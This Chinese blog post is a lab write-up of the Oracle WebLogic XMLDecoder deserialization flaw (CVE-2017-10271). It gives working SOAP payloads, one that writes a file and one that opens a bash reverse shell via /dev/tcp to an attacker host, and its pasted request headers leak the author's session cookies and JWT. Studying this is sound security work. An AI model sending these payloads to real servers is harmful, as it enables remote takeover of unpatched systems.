[Vulfocus解题系列]weblogic 反序列化（CVE-2017-10271）

最新推荐文章于 2024-08-01 08:04:57 发布

00勇士王子

最新推荐文章于 2024-08-01 08:04:57 发布

阅读量1.9k

点赞数 1

分类专栏：漏洞复现文章标签：中间件 web安全

本文链接：https://blog.csdn.net/qq_45813980/article/details/122279759

版权

漏洞复现专栏收录该内容

48 篇文章 40 订阅

订阅专栏

介绍

Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

复现过程

验证漏洞存在

打开靶场环境
在这里插入图片描述
访问路径/wls-wsat/CoordinatorPortType
出现下图所示页面说明可能存在漏洞

burp抓包

改包，将get改为post，下面加上payload

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.6.0" class="java.beans.XMLDecoder">
                        <object class="java.io.PrintWriter">
                            <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                            <string>xmldecoder_vul_test</string></void><void method="close"/>
                        </object>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
        </soapenv:Envelope>

访问路径，成功写入文件，证明漏洞存在
在这里插入图片描述

用ceye.io验证漏洞存在

在这里插入图片描述

写入一句话木马

在这里插入图片描述

访问shell
在这里插入图片描述

反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: vulfocus.fofa.so:19794
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1640763811,1640775017,1640775045,1640921749; Hm_lvt_deaeca6802357287fb453f342ce28dda=1640515257,1640681447,1641044574,1641123950; ECS[visit_times]=4; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1641127736; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0MjEzLCJ1c2VybmFtZSI6IjAweW9uZ3NoaXdhbmd6aSIsImV4cCI6MTY0MTIxMDM3MCwiZW1haWwiOiIxMDcwMDg2ODgyQHFxLmNvbSJ9.GYE9vgcF_65ZUOE5zsYyln5yh3bYggs1XPA8l2GTr78; JSESSIONID=9MdfhRmG1hThnrGvD7kjnbkJLtcLtCb8Q2whdZ4hhv146txKZLSr!-736868203
Upgrade-Insecure-Requests: 1
Content-Length: 636

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击主机ip/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在这里插入图片描述